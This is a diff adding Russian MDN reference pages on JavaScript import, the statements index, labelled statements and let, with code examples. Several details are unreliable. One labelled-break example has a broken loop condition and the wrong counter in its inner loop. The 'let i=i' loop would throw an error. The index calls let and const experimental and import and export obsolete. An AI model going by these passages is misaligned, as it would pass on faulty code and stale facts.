+<pre class="brush: js">myModule.doAllTheAmazingThings();</pre>
+
+<h3 id="Импорт_единичного_значения_из_модуля">Импорт единичного значения из модуля</h3>
+
+<p>Определенное ранее значение, названное <code>myExport,</code> которое было экспортировано из модуля <code>my-module</code> либо неявно (если модуль был экспортирован целиком), либо явно (с использованием инструкции {{jsxref("Statements/export", "export")}}), позволяет вставить <code>myExport</code> в текущую область видимости.</p>
+
+<pre class="brush: js">import {myExport} from '/modules/my-module.js';</pre>
+
+<h3 id="Импорт_нескольких_единичных_значений">Импорт нескольких единичных значений</h3>
+
+<p>Этот код  вставляет оба значения <code>foo</code> и <code>bar</code> в текущую область видимости.</p>
+
+<pre class="brush: js">import {foo, bar} from '/modules/my-module.js';</pre>
+
+<h3 id="Импорт_значений_с_использованием_более_удобных_имен">Импорт значений с использованием более удобных имен</h3>
+
+<p>Вы можете переименовать значения, когда импортируете их. Например, этот код вставляет <code>shortName</code> в текующую область видимости.</p>
+
+<pre class="brush: js">import {reallyReallyLongModuleExportName as shortName}
+  from '/modules/my-module.js';</pre>
+
+<h3 id="Переименование_нескольких_значений_в_одном_импорте">Переименование нескольких значений в одном импорте</h3>
+
+<p>Код, который импортирует несколько значений из модуля, используя более удобные имена.</p>
+
+<pre class="brush: js">import {
+  reallyReallyLongModuleExportName as shortName,
+  anotherLongModuleName as short
+} from '/modules/my-module.js';</pre>
+
+<h3 id="Импорт_модуля_для_использования_его_побочного_эффекта">Импорт модуля для использования его побочного эффекта</h3>
+
+<p>Импорт всего модуля только для использования побочного эффекта от его вызова, не импортируя что-либо. Это запускает глобальный код модуля, но в действительности не импортирует никаких значений.</p>
+
+<pre class="brush: js">import '/modules/my-module.js';
+</pre>
+
+<h3 id="Импорт_значения_по_умолчанию">Импорт значения по умолчанию</h3>
+
+<p>Есть возможность задать дефолтный {{jsxref("Statements/export", "export")}} (будь то объект, функция, класс или др.). Инструкция <code>import</code> затем может быть использована для импорта таких значений.</p>
+
+<p>Простейшая версия прямого импорта значения по умолчанию:</p>
+
+<pre class="brush: js">import myDefault from '/modules/my-module.js';
+</pre>
+
+<p>Возможно также использование такого синтаксиса с другими вариантами из перечисленных выше (импорт пространства имен или именованный импорт). В таком случае, импорт значения по умолчанию должен быть определён первым. Для примера:</p>
+
+<pre class="brush: js">import myDefault, * as myModule from '/modules/my-module.js';
+// myModule использовано как пространство имен</pre>
+
+<p>или</p>
+
+<pre class="brush: js">import myDefault, {foo, bar} from '/modules/my-module.js';
+// именованный импорт конкретных значений</pre>
+
+<h3 id="Импорт_переменных">Импорт переменных</h3>
+
+<p>Если вы импортируете переменные, то в данной области видимости они ведут себя как константы.</p>
+
+<p>Такой код выведет ошибку:</p>
+
+<h5 id="my-module.js">my-module.js</h5>
+
+<pre class="brush: js">export let a = 2;
+export let b = 3;
+</pre>
+
+<h5 id="main.js">main.js</h5>
+
+<pre class="brush: js">import {a, b} from '/modules/my-module.js';
+a = 5;
+b = 6;
+// Uncaught TypeError: Assignment to constant variable.</pre>
+
+<p>Для импорта можно воспользоваться объектом в котором хранятся эти переменные.</p>
+
+<p>Такой код будет рабочим:</p>
+
+<h5 id="my-module.js_2">my-module.js</h5>
+
+<pre class="brush: js">export let obj = {a:2, b:4};
+</pre>
+
+<h5 id="main.js_2">main.js</h5>
+
+<pre class="brush: js">import {obj} from '/modules/my-module.js';
+
+obj.a = 1;
+obj.b = 4;</pre>
+
+<p>Учитывая, что <code>import</code> хранит именно ссылки на значения, экспортированные из внешнего модуля, то это можно использовать как замыкания.</p>
+
+<h3 id="Динамический_импорт">Динамический импорт</h3>
+
+<p>Ключевое слово <code>import</code> можно использовать как функцию для динамического импорта модулей. Вызов <code>import()</code> возвращает Promise.</p>
+
+<pre class="brush: js">import('/modules/my-module.js')
+  .then(module =&gt; {
+    // Делаем что-нибудь с модулем
+  })
+</pre>
+
+<p>Как следствие возврата Promise, с динамическим импортом можно использовать ключевое слово <code>await</code></p>
+
+<pre class="brush: js">let module = await import('/modules/my-module.js');</pre>
+
+<p>Обратите внимание, что несмотря на то, что динамический импорт выглядит как вызов функции, он им по сути не является, т.е. не наследует от <code>Function.prototype</code> и, как следствие, его невозможно использовать вместе с методами <code>.call</code>, <code>.apply</code> и <code>.bind </code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Импорт из вспомогательного модуля для помощи в обработке запроса AJAX JSON.</p>
+
+<h3 id="Модуль_file.js">Модуль: file.js</h3>
+
+<pre class="brush: js; highlight: [14]">function getJSON(url, callback) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+     callback(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function getUsefulContents(url, callback) {
+  getJSON(url, data =&gt; callback(JSON.parse(data)));
+}
+</pre>
+
+<h3 id="Основной_код_main.js">Основной код: main.js</h3>
+
+<pre class="brush: js">import { getUsefulContents } from '/modules/file.js';
+
+getUsefulContents('http://www.example.com',
+    data =&gt; { doSomethingUseful(data); });</pre>
+
+<h3 id="Динамический_импорт_2">Динамический импорт</h3>
+
+<p>Этот пример показывает, как можно загрузить на страницу дополнительный модуль в зависимости от действий пользователя (в данном случае, по клику на кнопку), а затем использовать функции из загруженного модуля. Промисы - это не единственный способ использовать динамический импорт. Функция <code>import()</code> также может использоваться совместно с <code>await</code>.</p>
+
+<pre class="brush: js">const main = document.querySelector("main");
+for (const link of document.querySelectorAll("nav &gt; a")) {
+  link.addEventListener("click", e =&gt; {
+    e.preventDefault();
+
+    import('/modules/my-module.js')
+      .then(module =&gt; {
+        module.loadPageInto(main);
+      })
+      .catch(err =&gt; {
+        main.textContent = err.message;
+      });
+  });
+}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комменарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2020', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ES2020')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-imports', 'Imports')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.statements.import")}}</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li><a href="https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/">Previewing ES6 Modules and more from ES2015, ES2016 and beyond</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>, Hacks blog post by Jason Orendorff</li>
+ <li><a class="external" href="http://exploringjs.com/es6/ch_modules.html">Axel Rauschmayer's book: "Exploring JS: Modules"</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/index.html b/files/ru/web/javascript/reference/statements/index.html
new file mode 100644
index 0000000000..11c44fdf08
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/index.html
@@ -0,0 +1,162 @@
+---
+title: Инструкции и объявления
+slug: Web/JavaScript/Reference/Statements
+tags:
+  - JavaScript
+  - Reference
+  - statements
+translation_of: Web/JavaScript/Reference/Statements
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<p>Приложения на JavaScript состоят из инструкций с соответствующим синтаксисом. Одна инструкция может состоять из нескольких строк. На одной строке может находиться несколько инструкций, если они разделены точкой с запятой. Они являются не ключевыми словами, а группами ключевых слов.</p>
+<h2 id="Statements_and_declarations_by_category" name="Statements_and_declarations_by_category">Инструкции и объявления по категориям</h2>
+<p>Алфавитный список смотрите в боковой панели слева.</p>
+<h3 id="Control_flow" name="Control_flow">Управление потоком выполнения</h3>
+<dl>
+ <dt>
+  {{jsxref("Statements/block", "Блок", "", 1)}}</dt>
+ <dd>
+  Блок используется для группировки нуля и более инструкций. Блок отделяется парой фигурных скобок.</dd>
+ <dt>
+  {{jsxref("Statements/break", "break")}}</dt>
+ <dd>
+  Прерывает текущую инструкцию цикла, ветвления или инструкцию с меткой и передаёт управление на инструкцию, следующую за прерываемой.</dd>
+ <dt>
+  {{jsxref("Statements/continue", "continue")}}</dt>
+ <dd>
+  Прерывает выполнение инструкции в текущей итерации текущего цикла или цикла с меткой и продолжает выполнение цикла со следующей итерации.</dd>
+ <dt>
+  {{jsxref("Statements/Empty", "Пустая инструкция", "", 1)}}</dt>
+ <dd>
+  Пустая инструкция используется тогда, когда никакой инструкции быть не должно, а по синтаксису JavaScript она требуется.</dd>
+ <dt>
+  {{jsxref("Statements/if...else", "if...else")}}</dt>
+ <dd>
+  Выполняет инструкцию, если указанное условие является истинным. Если условие ложно, выполняет другую инструкцию.</dd>
+ <dt>
+  {{jsxref("Statements/switch", "switch")}}</dt>
+ <dd>
+  Вычисляет выражение, сопоставляет вычисленное значение с выражением выбора и выполняет инструкции, ассоциированные с этим выбором.</dd>
+ <dt>
+  {{jsxref("Statements/throw", "throw")}}</dt>
+ <dd>
+  Выбрасывает пользовательское исключение.</dd>
+ <dt>
+  {{jsxref("Statements/try...catch", "try...catch")}}</dt>
+ <dd>
+  Помечает блок инструкций и определяет реакцию на возникновение исключения внутри помеченного блока инструкций.</dd>
+</dl>
+<h3 id="Declarations" name="Declarations">Объявления</h3>
+<dl>
+ <dt>
+  {{jsxref("Statements/var", "var")}}</dt>
+ <dd>
+  Объявляет переменную, необязательно инициализирует её значением.</dd>
+ <dt>
+  {{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt>
+ <dd>
+  Объявляет локальную переменную в области видимости блока, необязательно инициализирует её значением.</dd>
+ <dt>
+  {{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt>
+ <dd>
+  Объявляет именованную константу только для чтения.</dd>
+</dl>
+<h3 id="Functions" name="Functions">Функции</h3>
+<dl>
+ <dt>
+  {{jsxref("Statements/function", "function")}}</dt>
+ <dd>
+  Объявляет функцию с указанными параметрами.</dd>
+ <dt>
+  {{experimental_inline}} {{jsxref("Statements/function*", "function*")}}</dt>
+ <dd>
+  Функции-генераторы, упрощающие написание <a href="/ru/docs/Web/JavaScript/Guide/The_Iterator_protocol">итераторов</a>.</dd>
+ <dt>
+  {{jsxref("Statements/return", "return")}}</dt>
+ <dd>
+  Определяет значение, возвращаемое из функции.</dd>
+ <dt>
+  {{experimental_inline}} {{jsxref("Statements/yield", "yield")}}</dt>
+ <dd>
+  Смотрите статьи <a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">Что нового в JavaScript 1.7</a> и <a href="/ru/docs/JavaScript/Guide/Iterators_and_Generators">Итераторы и генераторы</a>.</dd>
+</dl>
+<h3 id="Iterations" name="Iterations">Итерации</h3>
+<dl>
+ <dt>
+  {{jsxref("Statements/do...while", "do...while")}}</dt>
+ <dd>
+  Создаёт цикл, выполняющий указанную инструкцию до тех пор, пока проверяющее условие равно <code>false</code>. Условие вычисляется после выполнения инструкции, так что указанная инструкция выполнится хотя бы один раз.</dd>
+ <dt>
+  {{jsxref("Statements/for", "for")}}</dt>
+ <dd>
+  Создаёт цикл, состоящий из трёх необязательных выражений, заключённых в круглые скобки и разделённым точками с запятой с последующей инструкцией, выполняющейся в цикле.</dd>
+ <dt>
+  {{deprecated_inline}} {{non-standard_inline}} {{jsxref("Statements/for_each...in", "for each...in")}}</dt>
+ <dd>
+  Проходит указанной переменной по всем значениям свойств объекта. Выполняет инструкции для каждого уникального свойства.</dd>
+ <dt>
+  {{jsxref("Statements/for...in", "for...in")}}</dt>
+ <dd>
+  В случайном порядке проходит по перечислимым свойствам объекта. Выполняет инструкции для каждого уникального свойства.</dd>
+ <dt>
+  {{experimental_inline}} {{jsxref("Statements/for...of", "for...of")}}</dt>
+ <dd>
+  Проходит по итерируемым объектам (включающим в себя {{jsxref("Global_Objects/Array", "массивы", "", 1)}}, массивоподобные объекты и <a href="/ru/docs/JavaScript/Guide/Iterators_and_Generators">итераторы с генераторами</a>), выполняя пользовательский хук с инструкциями, исполняющимися для значения каждого уникального свойства.</dd>
+ <dt>
+  {{jsxref("Statements/while", "while")}}</dt>
+ <dd>
+  Создаёт цикл, выполняющий указанную инструкцию до тех пор, пока проверяющее условие равно <code>true</code>. Условие вычисляется перед выполнением инструкции..</dd>
+</dl>
+<h3 id="Others" name="Others">Прочее</h3>
+<dl>
+ <dt>
+  {{jsxref("Statements/debugger", "debugger")}}</dt>
+ <dd>
+  Вызывает любую доступную функциональность отладки. Если функциональность отладки не доступна, эта инструкция ничего не делает.</dd>
+ <dt>
+  {{obsolete_inline}} {{jsxref("Statements/export", "export")}}</dt>
+ <dd>
+  Используется для экспорта подписанным скриптом свойств, функций и объектов в другие подписанные или неподписанные скрипты. Эта древняя функциональность Netscape была удалена и будет пересмотрена модулями ECMAScript 6.</dd>
+ <dt>
+  {{obsolete_inline}} {{jsxref("Statements/import", "import")}}</dt>
+ <dd>
+  Используется для импорта скриптом свойств, функций и объектов из подписанного скрипта, который предоставил эту информацию. Эта древняя функциональность Netscape была удалена и будет пересмотрена модулями ECMAScript 6.</dd>
+ <dt>
+  {{jsxref("Statements/label", "label")}}</dt>
+ <dd>
+  Предоставляет инструкцию с идентификатором, на который вы можете сослаться с помощью инструкций <code>break</code> или <code>continue</code>.</dd>
+ <dt>
+  {{deprecated_inline}} {{jsxref("Statements/with", "with")}}</dt>
+ <dd>
+  Расширяет цепочку областей видимости инструкции.</dd>
+</dl>
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12', 'Инструкции')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-statements-and-declarations', 'Язык ECMAScript: инструкции и объявления')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Новое в этой спецификации: {{jsxref("Statements/function*", "function*")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/for...of", "for...of")}}, {{jsxref("Statements/yield", "yield")}}.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Operators", "Операторы", "", 1)}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/label/index.html b/files/ru/web/javascript/reference/statements/label/index.html
new file mode 100644
index 0000000000..129afe8d3f
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/label/index.html
@@ -0,0 +1,179 @@
+---
+title: label
+slug: Web/JavaScript/Reference/Statements/label
+tags:
+  - JavaScript
+  - Statement
+  - Метка
+translation_of: Web/JavaScript/Reference/Statements/label
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>Инструкция метки (<strong>label</strong>) используется вместе с {{jsxref("Statements/break", "break")}} или {{jsxref("Statements/continue", "continue")}} для альтернативного выхода из цикла. Оно добавляется перед блочным выражением в качестве ссылки, которая может быть использована в дальнейшем.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/statement-label.html")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Помеченные циклы используются очень редко. Обычно вместо этого используют вызов функций.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>label</em> :
+   <em>statement</em>
+</pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>Любой идентификатор JavaScript, который не является ключевым словом.</dd>
+ <dt><code>statement</code></dt>
+ <dd>Инструкция. <code>break</code> может быть использован с любой отмеченной инструкцией, а <code>continue</code> только с метками около начала цикла.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Вы можете применять метки для обозначения циклов, чтобы затем при помощи <code>break</code> или <code>continue</code> выходить из цикла или продолжать его работу с новой итерации.</p>
+
+<p>В JavaScript <em>нет</em> оператора <code>goto</code>, вы можете использовать только метки с <code>break</code> или <code>continue</code>.</p>
+
+<p>В <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">строгом режиме</a> вы не можете использовать "<code>let</code>" как имя метки. Это генерирует ошибку {{jsxref("SyntaxError")}} (let is a reserved identifier).</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метки_с_continue_с_циклом_for">Использование метки с <code>continue</code> с циклом <code>for</code></h3>
+
+<pre class="brush: js">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //Первый цикл, обозначенный меткой "loop1"
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //Второй цикл, обозначенный меткой "loop2"
+      if (i == 1 &amp;&amp; j == 1) {
+         continue loop1;
+      }
+      console.log("i = " + i + ", j = " + j);
+   }
+}
+
+// Вывод:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+//   "i = 2, j = 0"
+//   "i = 2, j = 1"
+//   "i = 2, j = 2"
+// Обратите внимание на пропуск "i = 1, j = 1" и "i = 1, j = 2"
+</pre>
+
+<h3 id="Example_2" name="Example_2">Другой пример использования метки с <code>continue</code></h3>
+
+<p>На входе массив элементов и массив функций для проверки, в примере вычисляется количество элементов массива, которые проходят все тесты.</p>
+
+<pre class="brush: js"><code>var itemsPassed = 0;
+var i, j;
+
+top:
+for (i = 0; i &lt; items.length; i++) {
+  for (j = 0; j &lt; tests.length; j++) {
+    if (!tests[j].pass(items[i])) {
+      continue top;
+    }
+  }
+
+  itemsPassed++;
+}</code></pre>
+
+<h3 id="Использование_меток_с_break" style="line-height: 24px; font-size: 1.71428571428571rem;">Использование меток с <code>break</code></h3>
+
+<pre class="brush: js" style="font-size: 14px;">var i, j;
+
+loop1:
+for (i = 0; i &lt; 3; i++) {      //Первый цикл, обозначенный меткой "loop1"
+   loop2:
+   for (j = 0; j &lt; 3; j++) {   //Второй цикл, обозначенный меткой "loop2"
+      if (i == 1 &amp;&amp; j == 1) {
+         break loop1;
+      }
+      console.log("i = " + i + ", j = " + j);
+   }
+}
+
+// Вывод:
+//   "i = 0, j = 0"
+//   "i = 0, j = 1"
+//   "i = 0, j = 2"
+//   "i = 1, j = 0"
+// Обратите внимание на аналогичный пример с continue</pre>
+
+<h3 id="Example_3" name="Example_3">Другой пример использования меток с <code>break</code></h3>
+
+<p>Дан массив элементов и массив с функциями для проверки, в примере определяется, проходят ли все элементы первого массива все тесты из второго массива.</p>
+
+<pre class="brush: js">var allPass = true;
+var i, j;
+
+top:
+for (i = 0; items.length; i++)
+  for (j = 0; j &lt; tests.length; i++)
+    if (!tests[j].pass(items[i])){
+      allPass = false;
+      break top;
+    }</pre>
+
+<h3 id="Помеченные_объявления_функция">Помеченные объявления функция</h3>
+
+<p>Начиная с ECMAScript 2015, помеченные объявления функция являются стандартными для нестрогого режима.</p>
+
+<pre class="brush: js">L: function F() {}</pre>
+
+<p>Однако, в <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">строгом режиме</a> генерируется ошибка {jsxref("SyntaxError")}}:</p>
+
+<p>In <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> code, however, this will throw a {{jsxref("SyntaxError")}}:</p>
+
+<pre class="brush: js"><code>'use strict';
+L: function F() {}
+// SyntaxError: functions cannot be labelled</code></pre>
+
+<p><a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">Функции-генераторы</a> не могут быть помечены ни в том, ни в другом режиме:</p>
+
+<pre class="brush: js"><code>L: function* F() {}
+// SyntaxError: generator functions cannot be labelled</code></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е Издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализован в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.statements.label")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/statements/let/index.html b/files/ru/web/javascript/reference/statements/let/index.html
new file mode 100644
index 0000000000..ac3e59d716
--- /dev/null
+++ b/files/ru/web/javascript/reference/statements/let/index.html
@@ -0,0 +1,414 @@
+---
+title: let
+slug: Web/JavaScript/Reference/Statements/let
+translation_of: Web/JavaScript/Reference/Statements/let
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Директива <code><strong>let</strong></code> объявляет переменную с блочной областью видимости с возможностью инициализировать её значением.</div>
+
+<div></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">let var1 [= value1] [, var2 [= value2]] [, ..., varN [= valueN]];
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>var1</code>, <code>var2</code>, …, <code>varN</code></dt>
+ <dd>Имя переменной. Может использоваться любой допустимый идентификатор.</dd>
+ <dt><code>value1</code>, <code>value2</code>, …, <code>valueN</code></dt>
+ <dd>Значение переменной. Любое допустимое выражение.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Директива <code><strong>let</strong></code><strong> </strong>позволяет объявить локальную переменную с областью видимости, ограниченной текущим блоком кода . В отличие от ключевого слова <a href="/en-US/docs/JavaScript/Reference/Statements/var" title="JavaScript/Reference/Statements/var"><code>var</code></a>, которое объявляет переменную глобально или локально во всей функции, независимо от области блока.</p>
+
+<p>Объяснение, почему было выбрано название "<strong>let</strong>" можно найти <a href="https://stackoverflow.com/questions/37916940/why-was-the-name-let-chosen-for-block-scoped-variable-declarations-in-javascri">здесь</a>.</p>
+
+<h3 id="Правила_области_видимости_2">Правила области видимости</h3>
+
+<p>Областью видимости переменных, объявленных ключевым словом <code>let</code>, является блок, в котором они объявлены, и все его подблоки. В этом работа директива <code>let</code> схожа с работой директивы <code>var</code>. Основная разница заключается в том, что областью видимости переменной, объявленной директивой <code>var</code>, является вся функция, в которой она объявлена:</p>
+
+<pre class="brush:js">function varTest() {
+  var x = 1;
+  if (true) {
+    var x = 2;  // та же переменная!
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  if (true) {
+    let x = 2;  // другая переменная
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}
+</pre>
+
+<h3 id="sect1"></h3>
+
+<h3 id="Чище_код_во_вложенных_функциях">Чище код во вложенных функциях</h3>
+
+<p><code>let</code> иногда делает код чище при использовании вложенных функций.</p>
+
+<pre class="brush: js">var list = document.getElementById("list");
+
+for (let i = 1; i &lt;= 5; i++) {
+  let item = document.createElement('li');
+  item.appendChild(document.createTextNode('Item ' + i));
+
+  item.onclick = function(ev) {
+    console.log('Item ' + i + ' is clicked.');
+  };
+  list.appendChild(item);
+}
+
+// чтобы получить такой же эффект с использованием 'var'
+// необходимо создать новый контекст
+// используя замыкание, чтобы сохранить значение неизменённым
+for (var i = 1; i &lt;= 5; i++) {
+  var item = document.createElement("li");
+  item.appendChild(document.createTextNode("Item " + i));
+
+    (function(i){
+        item.onclick = function(ev) {
+            console.log('Item ' + i + ' is clicked.');
+        };
+    })(i);
+  list.appendChild(item);
+}</pre>
+
+<p>Пример выше будет выполнен как и ожидается, так как пять экземпляров внутренней функции (анонимной) будут ссылаться на пять разных экземпляров переменной <code>i</code>. Пример будет выполнен неверно, если заменить директиву <code>let</code> на <code>var,</code> или удалить переменную <code>i</code> из параметров вложенной функции и использовать внешнюю переменную <code>i</code> во внутренней функции.</p>
+
+<p id="Правила_области_видимости">На верхнем уровне скриптов и функций <code>let, в отличии от var, не создает свойства на глобальном объекте</code>. Например:</p>
+
+<pre class="brush:js">var x = 'global_x';
+let y = 'global_y';
+console.log(this.x); // 'global_x'
+console.log(this.y); // undefined
+</pre>
+
+<p>В выводе программы будет отображено слово "global_x" для <code>this.x</code>, но <code>undefined</code> для <code>this.y</code>.</p>
+
+<h3 id="Эмуляция_приватных_членов">Эмуляция приватных членов</h3>
+
+<p>При взаимодействии с <a href="https://developer.mozilla.org/en-US/docs/Glossary/Constructor">конструкторами</a> можно использовать выражение <strong><code>let</code></strong> чтобы открыть доступ к одному или нескольким приватным членам через использование <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures">замыканий</a>:</p>
+
+<pre class="brush: js">var SomeConstructor;
+
+{
+    let privateScope = {};
+
+    SomeConstructor = function SomeConstructor() {
+        this.someProperty = 'foo';
+        privateScope.hiddenProperty = 'bar';
+    }
+
+    SomeConstructor.prototype.showPublic = function() {
+        console.log(this.someProperty); // foo
+    }
+
+    SomeConstructor.prototype.showPrivate = function() {
+        console.log(privateScope.hiddenProperty); // bar
+    }
+
+}
+
+var myInstance = new SomeConstructor();
+
+myInstance.showPublic();
+myInstance.showPrivate();
+
+console.log(privateScope.hiddenProperty); // error</pre>
+
+<p>Эта техника позволяет получить только "статичное" приватное состояние - в примере выше, все экземпляры полученные из конструктора <code>SomeConstructor</code> будут ссылаться на одну и ту же область видимости <code>privateScope</code>.</p>
+
+<h3 id="Временные_мертвые_зоны_и_ошибки_при_использовании_let">Временные мертвые зоны и ошибки при использовании <code>let</code></h3>
+
+<p>Повторное объявление той же переменной в том же блоке или функции приведет к выбросу исключения <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a>.</p>
+
+<pre class="brush: js">if (x) {
+  let foo;
+  let foo; // SyntaxError thrown.
+}</pre>
+
+<p>В стандарте ECMAScript 2015 переменные, объявленные директивой let, переносятся в начало блока. Но если вы сошлетесь в блоке на переменную, до того как она объявлена директивой let, то это приведет к выбросу исключения <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/ReferenceError" title="TypeError">ReferenceError</a></code>, потому что переменная находится во "временной мертвой зоне" с начала блока и до места ее объявления. (В отличии от переменной, объявленной через <code>var</code>, которая просто будет содержать значение <code>undefined</code>)</p>
+
+<pre class="brush: js"><code>function do_something() {
+  console.log(bar); // undefined
+  console.log(foo); // ReferenceError: foo is not defined
+  var bar = 1;
+  let foo = 2;
+}</code></pre>
+
+<p>Вы можете столкнуться с ошибкой в операторах блока  <code><a href="/en-US/docs/JavaScript/Reference/Statements/switch" title="switch">switch</a></code>, так как он имеет только один подблок.</p>
+
+<pre class="brush: js">switch (x) {
+  case 0:
+    let foo;
+    break;
+
+  case 1:
+    let foo; // Выброс SyntaxError из-за повторного объявления переменной
+    break;
+}</pre>
+
+<h3 id="Использование_let_в_циклах_for"><code>Использование let в циклах</code> <code>for</code></h3>
+
+<p>Вы можете использовать ключевое слово <code>let</code> для привязки переменных к локальной области видимости цикла <code>for</code>. Разница с использованием <code>var</code> в заголовке цикла <code>for</code>, заключается в том, что переменные объявленные <code>var</code>, будут видны во всей функции, в которой находится этот цикл.</p>
+
+<pre class="brush:js">var i=0;
+for ( let i=i ; i &lt; 10 ; i++ ) {
+  console.log(i);
+}
+</pre>
+
+<h3 id="Правила_области_видимости_3">Правила области видимости</h3>
+
+<pre class="brush: js">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) <var>statement</var>
+</pre>
+
+<p>В этом примере <var>expr2</var>, <var>expr3, statement </var> заключены в неявный блок, который содержит блок локальных переменных, объявленых конструкцией <code>let <em>expr1</em></code>. Пример приведен выше.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="let_vs_var"><code>let</code> vs <code>var</code></h3>
+
+<p>Когда let используется внутри блока, то область видимости переменной ограничивается этим блоком. Напомним, что отличие заключается в том, что областью видимости переменных, объявленных диретивой var, является вся функция, в которой они были объявлены.</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+
+if (a === 5) {
+  let a = 4; // The scope is inside the if-block
+  var b = 1; // The scope is inside the function
+
+  console.log(a);  // 4
+  console.log(b);  // 1
+}
+
+console.log(a); // 5
+console.log(b); // 1</pre>
+
+<h3 id="let_в_циклах"><code>let</code> в циклах</h3>
+
+<p>Вы можете использовать ключевое слово <code>let</code> для привязки переменных к локальной области видимости цикла <code>for</code>, вместо того что бы использовать глобальные переменные (объявленные с помощью <code>var</code>).</p>
+
+<pre class="brush: js">for (let i = 0; i&lt;10; i++) {
+  console.log(i); // 0, 1, 2, 3, 4 ... 9
+}
+
+console.log(i); // i is not defined</pre>
+
